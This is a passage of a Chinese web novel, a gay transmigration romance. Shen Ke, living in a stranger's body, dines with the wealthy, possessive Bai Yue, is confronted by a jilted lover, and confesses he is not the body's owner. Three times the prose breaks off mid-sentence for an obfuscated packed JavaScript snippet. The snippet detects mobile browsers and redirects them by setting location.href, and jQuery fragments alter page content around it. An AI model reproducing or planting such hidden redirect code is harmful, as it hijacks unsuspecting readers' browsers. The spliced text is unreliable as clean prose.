好伟大的两个字! 沈恪瞬间抬起头,眼睛睁得圆圆的,里面盛满了毫不掩饰的惊讶,以及一点点因为被“包养”而产生的羞赧和崇拜。 刚才在车上,他还只是单纯觉得白越有点可怜,有点同情。现在,这份同情里还掺杂了实实在在的金主滤镜。 他望着白越的侧脸,在心里默默发誓: 一定、一定要在找回自己身体、离开之前,对白越好一点,再好一点!尽可能弥补原主那个混蛋留下的伤害! 白越将沈恪瞬间亮起来的眼神尽收眼底。那里面没有贪婪,没有算计,只有小动物得到投喂般的欣喜和感激。简单而直白,纯粹得刺眼。 他眸色微深,一种陌生而愉悦的情绪,悄然滋生。 “请入座。”侍者将他们引至一个半开放的景观包厢。包厢不大,但私密性极好,透过弧形玻璃,能将城市核心地标尽收眼底。布置是简约的新中式风格,一张不大的黑檀木餐桌,两把丝绒椅,桌上摆放着新鲜的白色蝴蝶兰。 沈恪在白越对面坐下。他的角度正好能完整地看到远处那座闻名遐迩的电视塔,此刻塔身灯光变幻,流光溢彩。他忍不住扒在玻璃上看了好一会儿,眼睛里映着外面的灯火,亮晶晶的。 一名主侍无声地上前,将一份手写的皮质菜单恭敬地放在沈恪面前。 沈恪打开菜单,再次被上面手写花体字旁标注的价格震得头晕目眩。一份前菜的价格,几乎是他一个月的住院费。 主侍开始介绍特色菜品,用料、工艺、渊源……沈恪听得云里雾里,只抓住了一个核心思想:贵。 他正咬着嘴唇,艰难地在“点几个最便宜的凑合”和“既然白越请客那就狠心点一个最想尝的”之间摇摆时,一只修长苍白的手伸了过来,轻轻抽走了他面前的菜单。 “我来吧。”白越对主侍低声说了几个菜名,又补充了一句,“酒水按我之前存的搭配。” 主侍会意地点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265372|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正要转身去安排。 “等等。”沈恪忽然小声开口,他脸上带着点不好意思,眼睛却亮亮的,看向白越,“还……还准备了酒水吗?”他舔了舔有些干的嘴唇,声音里透着几分跃跃欲试的好奇,“我想喝度数高一点的。” 在医院里,酒精是绝对的禁忌。妹妹有时会跟他形容各种饮料的味道,汽水的刺激、奶茶的甜腻,但提到酒,总是语焉不详,只说“大人喝的东西,你病好了可以先喝点RIO试试”。 而现在,他有了健康的身体,是不是可以试试了? 白越闻言,转过头看向他,他静静地看了沈恪好几秒,像是在评估什么,又像是在权衡。沈恪被他看得有些忐忑,以为自己说错了话,或者这个要求太唐突。 片刻后,白越才微微弯起嘴角,对等候指示的主侍摆了摆手:“酒水不用准备了。换成果汁和特调无酒精饮品吧,要温的。” “是,白先生。” 沈恪脸上期待的光芒瞬间黯淡下去,肩膀也耷拉了一点,小声哦了一下。他垂下眼,手指无意识地抠着桌布的边缘。 白越将他的小动作尽收眼底。侍者退出去后,包厢里重新恢复安静。他伸手,隔着桌子,轻轻碰了碰沈恪放在桌边的手背。 “一会还要开车呢。”他的声音比刚才更柔和了些,带着为两人着想的稳妥,“安全第一,对不对?” 喝酒不开车,开车不喝酒。 白越的理由正当且无可挑剔,甚至透着关心。沈恪那点小小的叛逆和好奇心,在这句“安全第一”面前,立刻偃旗息鼓。他想起刚上小学时爸爸应酬回来,妈妈总会唠叨这句。是啊,安全很重要。 “嗯……你说得对。”沈恪乖乖点头,心里的失落被一种“对方考虑周全”的微妙感觉取代。虽然没尝到酒有点遗憾,但白越是为他好。 他完全没有意识到,白越阻止他喝酒,或许并不仅仅是因为要开车。 喝酒的事情暂且告一段落,白越转向沈恪,语气自然地问:“宝宝,你有什么喜欢吃的吗?” 等等。 他喊自己什么?宝宝? 他他他他到底在外面瞎喊什么啊! 沈恪的脑袋轰地一下,脸颊连同耳朵尖瞬间爆红,热意蒸腾,他几乎要把头埋进桌子底下。 之前在家里、在车库,只有他们两个人,喊也就喊了,反正没人知道。可现在……旁边还有别人听着呢! 他和白越,明明才认识几个小时,根本一点都不熟!却要被迫承受这种仿佛热恋情侣般的称呼。 偏偏他还不能解释,不能反驳。每次他想摊牌,想告诉白越“我不是你的阿然”,都会被对方用各种方式温柔又强势地堵回来。 真是苦恼。 沈恪深呼吸,再深呼吸,强压下满心的羞赧和憋闷,声音细若蚊蚋:“我都可以。” 白越似乎很满意他的反应,唇角弯起的弧度加深了些。他在菜单上又点了几下,然后递还给主侍:“就这样。不用介绍菜品了。包厢留我们两个人就好。” “好的,白先生。”主侍躬身,对旁边的侍酒师和其他服务生做了个手势。一行人训练有素地地退了出去,并体贴地关上了包厢的隔音门。 世界瞬间安静下来,只剩下窗外隐约的城市喧嚣。 沈恪这才松了一口气,抬手用力搓了搓自己滚烫的耳朵,慢慢抬起头。 视线正好撞进对面白越的眼中。 白越依然在看着他,脸上也依然带着笑。可沈恪莫名觉得,那笑容和刚才在侍者面前时不太一样。少了点公式化的温和,多了点……别的什么。眼底的情绪很淡,很沉,映着光,却没什么温度。 出来吃饭不开心吗?沈恪心里嘀咕。难道是因为请客花了太多钱,心疼了?可是看起来不像啊…… 就在他胡思乱想时,白越忽然开口,声音在安静的包厢里显得格外清晰: “宝宝。” 沈恪一个激灵:“嗯?怎么了?” 他嗓音还有些干涩沙哑,喉咙不是很舒服。便端起面前的水杯,灌了一大口。微凉的柠檬水滑过喉咙,缓解了些许不适。 白越双手交叠放在桌面上,身体微微前倾,那双漂亮的狐狸眼一瞬不瞬地锁住沈恪,用近乎平静的语气抛下了一枚炸弹: “我想和你结婚。” 4. 谁是小三 “噗——咳咳咳!!!” 白越的发言过于雷霆,沈恪差点把嘴里的水喷出来。他呛得满脸通红,惊天动地地咳嗽起来,手忙脚乱地抽纸巾擦嘴,眼睛瞪得溜圆,完全不敢相信自己听到了什么。 白越刚刚说什么?他想和我结婚?为什么要结婚?和谁结?和我?不对不对,是和阿然?! 可他们不是才大学吗?而且原主那个渣男,对白越那么坏,白越怎么还会想和他结婚呢?这根本就不讲道理!难道这就是传说中的受虐狂?不对不对,重点是他不是本人啊!他怎么能和白越结婚呢! 更别说现在同性伴侣的婚姻还没放开,他怎么可以……?! 沈恪脑子里一片混乱,开始语无伦次地找借口:“这、这个……是不是太着急了?你看我们都还是学生,学业为重,而且结婚是大事,要慎重,要得到家人同意,要……” 他绞尽脑汁想着拒绝求婚的套话,说得口干舌燥。 白越就那样安静地听着,眼睛微微弯着,直到沈恪词穷,尴尬地停住,他才慢悠悠地开口,语气里带着不易察觉的玩味: “我开玩笑的。” 沈恪:“……” 他一口气堵在胸口,上不去下不来,憋得脸更红了。 彳亍。 白越看着沈恪明显松了口气的模样,眼底的笑意更深了些,指尖在桌面上轻轻点了点,仿佛只是随口提起: “不过,以后真的要结婚的话……”他顿了顿,成功看到沈恪刚放松的脊背又瞬间绷直,“还是要尽早开始办国外的签证和手续比较好?有些流程挺耗时间的。” “咳咳咳咳!!!” 沈恪这次是真的被自己的口水呛到了,咳得惊天动地,眼泪都冒了出来。他连忙抓过餐巾捂住嘴,整张脸憋得通红。 白越立刻起身,绕过桌子来到他身边,动作自然地轻轻拍打他的后背,语气里充满了恰到好处的关切:“怎么了宝宝?” 他的手掌贴在背上,隔着薄薄的衣料,节奏稳定,传来微凉的触感。沈恪却像被烫到一样,咳得更厉害了,一边咳一边慌乱地摆手:“没事!呛、呛到了而已! 为了证明自己没事,也为了阻止白越继续拍打,他抓起自己刚才喝过的水杯,猛地灌了一大口,然后因为喝得太急,又引起一阵小声的呛咳。他强忍着,把杯子往白越面前递了递,语无伦次地试图堵住白越那张嘴:“这个好喝!你、你也试试!” 快别再说结婚和签证的事了!求你了! 白越看着他递过来的杯子,杯沿上还残留着一点不明显的水渍。他顿了顿,然后很自然地接了过来,却没有立刻喝。 他捏着杯脚,将杯子举到眼前,对着头顶水晶灯柔和的光线,仿佛在欣赏玻璃的质地。然后,在沈恪紧张的目光注视下,他微微侧转杯身,薄薄的唇瓣,精准地覆盖在了沈恪嘴唇刚刚没有碰触到的、杯壁的另一侧。 他喝了一小口,喉结滚动,然后放下杯子,对沈恪笑了笑:“嗯,是不错。” 沈恪一直悬着的心,这才咚地一声落回实处。 还好还好……差点就间接接吻了。 *** 接下来的时间,沈恪吃得有点食不知味,一方面被那个玩笑吓得不轻,另一方面也因为白越过于周到的服务。 白越点的菜很快送了上来,摆盘精美得像艺术品。分量不多,但每一道都滋味绝妙,是沈恪从未体验过的味道。他吃得很快,想赶紧结束这顿让他心率不齐的晚餐。 白越会主动把他想吃的菜推过来。遇到需要动手处理的菜,比如龙虾和螃蟹,他还会自然而然地戴上一次性手套,动作利落地剥出完整鲜嫩的肉,然后微微起身,将那白生生的虾肉蟹肉递到沈恪嘴边。 “宝宝,张嘴。” 语气温柔得像在哄孩子。 沈恪的脸腾地一下又烧了起来,连连摆手,身体后仰:“我自己来就好!” 因为虚弱,他确实经常需要护士或家人喂饭。但那是不一样的!那是出于对病人的照料!可白越……白越是因为喜欢“阿然”才这么做。自己怎么能坦然接受这种不属于他的亲昵? 看着沈恪惊慌躲闪的样子,白越举着虾肉的手停在半空。他垂下眼睫,浓密的睫毛在苍白的脸上投下一小片阴影,嘴角那点笑意淡了下去,透出失落。 他没说话,也没把手收回去,只是维持着那个姿势,仿佛沈恪的拒绝是多大的伤害。 沈恪心里那点负罪感又咕嘟咕嘟冒了出来,迅速淹没了刚才的尴尬。 他感觉自己像个欺负了乖小孩的坏蛋。 “……好吧。”他妥协了,声音小得像蚊子叫。他凑过去,飞快地咬住虾肉的一角,迅速从白越手中夺过来,囫囵咽下,甚至没怎么尝出味道。然后立刻低下头,盯着自己的餐盘,没什么底气地补充道:“……下次,放在碟子里就好了。” 也因为他始终低着头,所以没能看见,在他妥协凑近、笨拙地咬下虾肉的那一刻,白越嘴角那抹近乎恶劣的玩味笑意。 *** 一顿饭在沈恪的坐立不安中接近尾声。白越按下服务铃。 门外守候的服务员应声而入。白越从钱夹里抽出一张黑色的信用卡,递给主侍。签购单送来后,他龙飞凤舞地签下名字,然后在旁边的小费栏,写下了一笔令沈恪再次瞳孔地震的数字。 他将签购单递回,对恭敬等候的主侍用流利的英语说:“This is for you and your excellent team. Thank you for the wonderful service.”(这是给你和你的优秀团队的。感谢你们出色的服务。) 主侍脸上很是惊喜,但很快被专业素养压下,他深深鞠躬:“Thank you very much, Mr. Bai. It''s our honor.”(非常感谢您,白先生。这是我们的荣幸。) 沈恪看得眼睛都直了。 这就是电视里的小费文化吗? 他忍不住再次偷偷打量白越。 他猜到白越家境优渥,但没想到能优渥到这种程度,举手投足间,是一种浸淫在顶级资源里多年才能培养出的理所当然的从容。 随即,更大的困惑涌上心头。 既然白越这么有钱,有地位,看起来也不笨,他当初,到底是怎么被原主那个除了脸蛋一无是处的渣男给骗到手的?难道他是颜控?可他自己长得也很帅啊…… 沈恪想不通。 两人被餐厅全体服务人员一路恭敬地送到了直达电梯口。这个时间段,电梯口附近恰好没有其他客人,只有他们两人在等待。 “宝宝,”白越忽然开口,声音在空旷的电梯间里带着轻微的回音,“今晚你要回家吗?” 沈恪被问住了。 哪个家? 醒来的那个别墅吗?那里到处都是阿然的照片,怎么看都不像是他的家。谁没事会在自己的屋子里放那么多自己的照片?太诡异了吧。 或许可以想办法支开白越,然后用购物软件上的收货地址查一下?找到了家,才能以那里为起点,去查自己以前住的那家医院,想办法过去看看。 他忽然灵光一现。 对哦,哪用那么麻烦,让白越送自己不就行了?省时省力,还不会暴露自己不认识路! 他扬起脸,对白越露出一个带着点依赖的笑容:“你送我回家吧!” 白越没有立刻回答。 他只是静静地看着沈恪,像是在仔细分辨他笑容里的每一分情绪。走廊顶灯的光线从他头顶洒落,在眼窝处投下更深的阴影,那双总是带着温柔笑意的眼睛,此刻显得有些晦暗不明。 过了足足有七八秒,久到沈恪脸上的笑容都快僵住了,白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265373|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越才轻轻叹了口气。 他向前走了一小步,拉近了两人之间的距离。 “宝宝,”白越的声音压得很低,带着一种近乎教诲的耐心,“这种话,不能对我以外的人说,知道吗?” 沈恪茫然地眨眨眼。 “晚上,主动让别人送你回家……”白越抬起手,很轻地拂过沈恪耳畔的碎发,动作温柔,语气却让沈恪后颈微微发凉,“在某些图谋不轨的人眼里,这无异于一种……邀请。” 邀请?邀请什么?去家里做客?虽然有点突然,但如果是男朋友的话,好像也挺正常的? 沈恪的思维还停留在纯洁的区域,完全没跟上白越话语里成人世界的危险暗示。他想挠头表达困惑,又忍住了,只是不解地问:“可我们不是已经同居了吗?” 他想说,我们都住一起了,送对方回家不是很正常? 空气骤然安静。 白越盯着他,没有说话,仿佛要透过这个皮囊,看到里面那个茫然的灵魂。 沈恪被看得心里发毛,正想再说点什么缓解这诡异的气氛—— “哈?你们同居了?!” 一个充满震惊和怒气的男声,猛地刺破了走廊的寂静。 沈恪吓一哆嗦,循声望去。 只见一个穿着时髦、染着亚麻灰头发、相貌颇为英俊的年轻男人,正喘着粗气从楼梯间的拐角处气势汹汹地冲过来,手指直直戳向沈恪的鼻子。 “温清然!我就说你这两天怎么像死了一样不回我消息!” 男人气得脸色发红,眼神在沈恪和白越之间来回扫视,最后狠狠瞪向沈恪,“祈愿告诉我你开着他的车来商贸中心鬼混了,我还不信!从前台一路找上来,结果你真在这儿!还跟他吃饭?!” “你他妈当我是什么?我难道是小三吗?!” 信息量过大发言过于雷霆,沈恪整个人直接懵了,大脑直接宕机。 这又是谁?祈愿又是谁?为什么他的车在自己这里?小三?什么小三?原主到底有多少个男朋友?! 他张了张嘴,面对男人连续不断的质问,脑子里一片空白,支支吾吾半天,只憋出来一句:“白越、白越才是我的男朋友,你是……” 话一出口,他就意识到坏了。 这不就等于承认了他在脚踏两条船吗?! “对不起。”他下意识地道歉,声音微弱,恨不得立刻找个地缝钻进去。他不知道该怎么应对这种场面,连吵架的经验都近乎为零。 “对不起?”男人听到他这句道歉,非但没有消气,反倒怒极反笑,“一句对不起就完了?温清然,你玩我呢?!” “死渣男!” 他两步并作一步冲上前,高高扬起了手臂,带着风声,朝着沈恪的脸狠狠扇了下来! 沈恪没躲,他闭上眼睛,准备承受这份谴责。 享受了健康身体的好处,跑跳自如,呼吸畅快,看到了从未见过的繁华世界,就应该替代承担一些,本不属于他的罪孽。 鸠占鹊巢,总要付出点什么。挨一巴掌,或许还算轻的。 预想中的疼痛并没有到来。 一只手稳稳地攥住了男人下落的手腕。 沈恪颤巍巍地睁开眼,看到白越不知何时已挡在了他身前半步。白越侧着脸,额前的黑发随着动作滑开些许,露出那双此刻冰冷没有丝毫笑意的眼睛。他蹙着眉头,目光落在暴怒的男人脸上,声音不高,却带着沉甸甸的压迫感: “再闹,就要喊安保了。” 他手指微微用力,男人脸上立刻闪过一丝吃痛的神色。 白越的目光扫过男人愤怒扭曲的脸,又淡淡地瞥了一眼察觉了动静正向这里快步赶来的侍者们,语气平静: “这里,是我家的大楼。” 他松开手,仿佛只是掸去一片灰尘,然后抬手指向电梯的方向,下达了逐客令: “出去。现在。” 5. 好想摊牌 沈恪整个人瞳孔地震。 这整栋气派得吓人的建筑……都是白越家的?这下真的是误闯天家了! “好好好好好好,你们他妈的……” 男人被白越的态度彻底激怒了。他连道了好几个好字,气得浑身发抖,指着白越就破口大骂: “你是不是贱?这狗东西出轨了你还护着他?我都没针对你,只是在骂温清然,你跳出来做什么?!” 他看着听到动静匆匆赶来的几名服务生和安保人员,知道自己今天讨不到便宜,冲进刚好到达的电梯里,恶狠狠地探出头,用尽力气吼道: “也是,野狗的崽子也是小野狗,你们一家子变态不能指望你也脑子正常。你俩就是表子配狗,绝配!” 他又看向电梯礼宾:“刷卡!送我下去!” 礼宾低着头,毫无动作。 男人的那句话像一盆脏水,泼洒在寂静的走廊里。 白越唇边那点惯常的温和弧度瞬间消失,只剩下一种冰冷的空白。 好难听。 好没素质。 骂人的脏话怎么可以这么恶毒啊。 沈恪的眉头紧紧蹙起,心头那点无措和委屈,瞬间被更强烈的愤怒取代了。他在医院见过太多因为疾病或缺陷被恶语相向的人,护工阿姨偷偷议论瘫痪老人拖累儿女,隔壁床小孩的爸爸喝醉了骂自己儿子是讨债鬼……他知道那种话有多伤人。 白越或许有他的问题,但绝不应该被这样侮辱。 不是因为他现在是渣男的男朋友,而是因为,任何一个人,都不该在身为受害者时被这样对待,成为他人宣泄情绪的出口。 行动快过思考。 趁着电梯礼宾没有反应,沈恪已经一个箭步冲上前,伸手死死按住了外侧的开门键! “你……”沈恪深吸一口气,努力让自己的声音听起来不那么颤抖,尽管他的心跳快得像是要跳出喉咙,“出轨的事情,的确是温……是我不好。我是渣男,你想打想骂,冲着我来,我会认的。真的很对不起你,我会尽可能弥补的。但……” 他的声音在空旷的走廊里回荡,带着与他此刻张扬外貌不符的认真。 “但你不能这么骂他!”沈恪盯着电梯里脸色变幻的男人,一字一句地说,“白越也是受害者,是被……被我骗了才会这样。你刚刚那句话,说得太难听了。” 他顿了顿,背脊挺得笔直,像是用尽了全身的力气,掷地有声: “请你,向白越道歉!” 走廊里一片死寂。 匆匆赶来的餐厅经理和几名服务生全都僵在原地,大气不敢出。 对方像是听到了什么天大的笑话,表情从愕然变成难以置信,最后化为浓浓的讥讽:“哈?谁不知道你温清然玩得花,现在装什么正义使者?你就那么喜欢他?喜欢到要替他出头?” 沈恪能感受到身后那道强烈到几乎要将他洞穿的视线。他压下心头那股想要逃跑的冲动,用力点了点头: “喜欢是一回事,你骂他野狗是另一回事!我会接受惩罚的,但你也要给他道歉!这是两码事!” 就在他话音落下的瞬间—— 他身后,一直沉默的白越,眼睫微地颤动了一下。 那双死水般沉寂的眼眸深处,骤然迸溅开光彩。尽管那光芒转瞬即逝,转瞬便被更深更浓的幽暗所吞没,但某种东西确实不同了。 餐厅经理率先反应过来,额头上渗出冷汗,朝白越深深鞠躬:“白先生,万分抱歉!是我们安保疏忽,让无关人员闯进来打扰您和温先生用餐,我们立刻处理!” 其他工作人员也连忙躬身道歉,气氛凝重。 “别按了!放我下去!”电梯里的男人见势不妙,色厉内荏地吼着,拼命去按关门键,“他是野狗这个事情不是圈子里人尽皆知的吗!我他妈说错什么了!” “你才是野狗!” 这句话几乎是冲口而出。沈恪说完自己都愣了一下,脸颊瞬间涨红。 他从小到大就没骂过人,这句贫乏的反击已经是他能想到最恶毒的词汇了。 白越忽然动了。 他上前一步,冰凉的手掌轻轻握住了沈恪还按在开门键上的手腕。那触碰让沈恪一个激灵,下意识松了手。 “好了。”白越的声音恢复了往常的温和。他看向电梯里脸色发白的人,眼神平静无波,“下去吧。别让我说第二遍。” 电梯门终于顺利合拢,下行指示灯亮起,将男人最后那句“两个傻逼”的咒骂彻底隔绝。 沈恪僵硬地站在原地,手腕上还残留着白越掌心的温度。他看了一眼旁边噤若寒蝉的工作人员们,有些不自在,又不知道该怎么处理,只好学着电视里的样子,故作镇定地扬了扬下巴: “可以走了。” 工作人员们没动,目光忐忑地看向白越,道歉得更诚恳了。 还不走是等着被找麻烦嘛?赶紧走呀!不然要被扣工资了! 沈恪无奈,也看向白越,用眼神示意:你说句话呀。 白越静静地看了他两秒,那双刚刚迸溅过星火的眼眸,此刻映着走廊的灯光,深邃难辨。他深深地吸了一口气,又轻轻吐出,嘴角重新牵起完美的弧度。 “没事了。”他对经理说,“一场误会。各位去忙吧,今晚辛苦了。” 他的声音一如既往的平和有礼,仿佛刚才那场激烈的冲突从未发生。 经理如蒙大赦,又连声道歉了几句,才带着工作人员们快速退去,走廊里终于只剩下他们两人。 沈恪紧绷的神经这才稍稍松懈,后知后觉地感到一阵脱力。 一根微凉的手指,轻轻勾住了他的小指。 沈恪身体一僵。 “阿然。”白越的声音在很近的地方响起,不再叫宝宝,而是换回了昵称。 “……嗯。”沈恪低着头,含糊地应了一声。他不太敢抬头,总觉得刚才自己冲动之下说的那些话,现在回想起来简直羞耻到爆。 “看着我。” 声音很轻,却带着执拗。 沈恪咽了口口水,慢慢抬起头,撞进了白越的视线里。 白越正垂眸看着他,走廊顶灯的光线从他头顶倾泻而下,在眼睑下投出一小片扇形的阴影,遮掩了眼底大半的情绪。他的脸色依旧苍白,目光细细描描摹着他的眉眼,仿佛要将他此刻每一个细微的表情都刻录下来。 沈恪被看得浑身不自在,下意识想偏开头,一只手却伸过来,温柔坚定地托住了他的下巴,将他转开的动作轻轻制止了。 “除了我,”白越开口,声音压得很低,带着近乎诱哄的平静,“你还有别的男朋友吗?” 沈恪呼吸一窒。 他张了张嘴,想起手机里那个“松风”,想起祈愿电话里提到的“玩得花”,想起男人暴怒的脸。最终,他艰难地点了点头,声音干涩: “……是。” 好崩溃。 他长这么大连个喜欢的人都没有,结果一朝穿越,不说女朋友,连男朋友都有了,甚至还不止一个。 造孽啊。 白越的目光沉了沉,托着他下巴的拇指指腹,轻轻摩挲了一下他的皮肤。那触感微凉,带来一阵细微的战栗。 “阿然,”他继续问,语气甚至称得上温柔,“你会和他上床吗?” !!! 沈恪的脸轰地一下红了个彻底,被这直白到露骨的问题砸得头晕目眩。 白越却像是没看到他的震惊,微微歪了歪头,眼神里甚至带了几分隐隐的兴奋: “阿然和他上床的时候也带上我可以吗?我都没有和你……” 停停停!!! 沈恪再也听不下去了,猛地伸出手,一把捂住了白越的嘴。掌心贴上对方微凉的唇瓣,那触感让他像被烫到一样,又猛地缩回手,整张脸红得几乎要滴血。 他到底在想什么啊!这是什么台词!太诡异了! 白越被他激烈的反应逗笑了,低低地噗嗤一声。他捉住沈恪还没来得及完全收回去的手腕,低头,在那只刚才捂过他嘴的手的食指指节处,轻轻落下一个吻,触感温热濡湿,一触即分。 一阵强烈过电般的酥麻,从被亲吻的那一小块皮肤瞬间窜遍沈恪全身,让他整个人都僵住了,大脑一片空白。 “阿然,”白越忽然轻轻捉住他刚才那只捂过自己嘴的手,牵着他的手,将掌心轻轻贴在了自己微凉的脸颊上。 这个动作太过亲昵,沈恪想抽回手,却被对方更温柔地握住,不许他逃。 白越微微仰起脸,抬起眼看他。那双漂亮的狐狸眼里,此刻正恰到好处地蒙上了一层湿漉漉的水光。他的声音压得又低又软,带着一种可怜兮兮的失落感: “为什么你还要谈别的对象呢?是我哪里做得不好吗?我一个人……满足不了你吗?宝宝我有18,也会很努力去学……” “别、别这样……” 沈恪的声音都变了调,脸颊烫得惊人,耳朵里嗡嗡作响,整个人像被扔进了开水里沸腾了起来。 好羞耻…… 而且这话怎么听都不对劲!18?!白越才18?那不是和自己一个年纪嘛!可、可是他看起来……怎么想都该是更年长的人才对! 而且“努力去学”是什么意思?学什么?怎么学? 不对不对!重点不是这个!重点是他怎么能用这么一张漂亮又委屈的脸,说出这种、这种简直像是从什么奇怪小说里扒出来的台词! 这个年纪的男生怎么可以一本正经地说什么“满足不了你”…… 他脑子里乱成一团浆糊,完全失去了应对的能力,只能凭借本能,猛地用力,终于将自己的手抽了回来,连退两步,直到后背抵上冰凉的电梯金属门。 这已经不是卑微能形容的了!这不对劲!白越对恋爱、对亲密关系的认知,绝对有问题! 被亲吻过的指节还在隐隐发烫,沈恪心乱如麻,不敢再看白越的眼睛,也不敢再待在原地。他慌乱地转身,用力按下电梯。 “叮——” 电梯门应声而开。 沈恪几乎是推着白越的后背,把人半强迫地塞进了电梯轿厢,自己也跟了进去,飞快地按下地下停车场的楼层键。原先还在的电梯礼宾此刻不知去向,密闭的空间里,只剩下他们两个人,以及沈恪自己扑通扑通的心跳声。 “你……”他听到自己干巴巴的声音响起,“你不生气吗?” “嗯?”白越站在他侧后方,声音很近。 沈恪低头,盯着脚尖:“因为……我确实,出轨了。” 虽然那不是他本人的意愿,是温清然留下来的债,但他现在顶着温清然的脸,享受着白越的好,认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265374|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下这个锅,好像也没什么不对。 身后传来一声愉悦的低笑。 沈恪还没来得及反应,就感觉头顶一重。白越的手很轻地揉了揉他的头发,力道温柔缱绻。 “不生气呀。”白越的声音带着笑意,听起来甚至有点……开心?“因为我才是你的正牌男友,不是吗。” “……?” 沈恪愕然回头,看向白越。 白越正笑眯眯地看着他,那双眼睛弯成了漂亮的月牙,里面盛着的温柔几乎要溢出来,看不出半点阴霾或勉强。 不管是不是正牌男友都不能这么想啊!被出轨了怎么能不生气呢! 沈恪欲言又止。他先前只觉得白越在感情里有点卑微,但现在看来,他的婚恋观真的很有问题。 也不知道在自己找回身体离开之前,能不能给他稍微纠正过来一点……沈恪有些忧愁地想。 “在想什么?阿然?” 沈恪猛地回神,连忙摇头:“没、没什么!”自己在想的事情,绝对不能跟白越说。 电梯平稳下行。 沈恪犹豫了一下,还是忍不住问出了口:“你为什么要这么……包容我?”他想说“为什么要这么惯着渣男”,但以温清然的身份问出来实在奇怪,只好换了个词。 白越没有立刻回答。 电梯到达地下停车场,叮一声轻响,门向两侧滑开。 白越率先走出去,然后很自然地回身,向还在电梯里的沈恪伸出手。 沈恪迟疑了一下,把手放了上去。 白越握紧他的手,牵着他往停车的方向走。地下停车场空旷安静,脚步声回荡。 “因为这种事情,”白越的声音响起,很轻,带着一种近乎麻木的平静,“很正常啊。” 沈恪脚步一顿,愣住了。 他抬起头,看向白越的侧脸。白越的目光落在前方某处虚空,嘴角甚至还挂着习惯性的微笑,但那双眼睛里的神色,却让沈恪的心脏被轻轻揪了一下。 *** 直到坐进副驾驶,沈恪还在反复咀嚼白越那句话。 这种事很正常? 一点也不正常吧! 到底要经历过什么,才会觉得被背叛是正常的事情? 难道白越其实也谈过很多次? 沈恪偷偷瞄了一眼驾驶座上的白越。他开车的姿势很放松,单手扶着方向盘,另一只手随意地搭在中央扶手上,侧脸在明明灭灭的路灯光影下,显得格外安静。 完全想象不到这么温柔的人会是个滥情的家伙。 好好奇,好想问。 但感觉会是很令人不愉快的回忆,还是算了。 沈恪把到嘴边的问题咽了回去,转而看向窗外越来越熟悉的街景。车子最终驶入一个安静的高档别墅区,停在了沈恪今早醒来时的那栋别墅门前。 白越熄了火,解开安全带,却没有立刻下车。 沈恪也解开安全带,推开车门,脚刚踩到地面,就习惯性地往那栋贴满温清然照片的别墅门口走,脑子里还在想着明天去医院的事。 刚走出两步,手腕就被轻轻拉住了。 沈恪疑惑回头。 白越站在车旁,路灯的光晕给他周身镀上一层柔和的暖色。他脸上带着那种沈恪已经有些熟悉的温柔又促狭的笑意,指了指沈恪正要走向的那栋别墅: “阿然是想晚上和我一起睡吗?” 沈恪:“???” 他看看眼前这栋别墅,又看看白越,大脑瞬间宕机。 “这里是我家哦。”白越笑眯眯地补充,然后抬手指了指对面另一栋设计风格迥异但同样气派的独立别墅,“阿然的家,在对面。是不是……认错啦?” 沈恪:“!!!” 他怎么会知道他俩居然是邻居! “吃、吃多了有点晕碳,脑子没转过来……”沈恪干笑着,胡乱找了个蹩脚的理由,感觉脸颊又开始发烫。 啊哈哈……他好像,露馅露得有点多。 从醒来到现在,他不认识自己的家,不认识自己的车,不记得恋爱纪念日,面对前任手足无措,甚至不知道自己和白越只是邻居而非同居…… 一桩桩,一件件。 再这样下去,迟早会被白越发现不对的。 好想摊牌。 这样的日子他真的一点都过不下去了。既要扮演另一个人,又要承受着鸠占鹊巢的罪恶感,还要应付白越那让人捉摸不透的温柔和显然有问题的情感认知。 好想回去。好想换回自己的身体。哪怕那身体病弱,至少是属于自己的。 站在两栋别墅之间寂静的小路上,夜风微凉。沈恪深吸一口气,转过身,面向白越,表情是从未有过的认真。 “白越,”他声音不大,却异常清晰,“你听我说。这次你不要再打断我了。” 白越脸上的笑意未减,只是微微偏了偏头:“嗯?” 沈恪攥紧了拳头,指甲陷进掌心,用那点疼痛给自己加油打气。 他一字一顿,清晰地说道: “我不是温清然!只是在借用他的身体!” 话音落下的瞬间,周遭一片寂静。 晚风吹过路边的景观树,树叶发出沙沙的轻响,衬得这片高档社区愈发的安静。路灯将两人的影子拉得很长,交织在一起。 6. 心软的神 沈恪紧张地等待着预想中的反应。 白越应该会震惊吧?或者会怀疑他是不是吃坏了脑子,再或者是愤怒地质问他为什么要说这么不切实际的话……不过怎么样都好了,他已经不想装下去了。 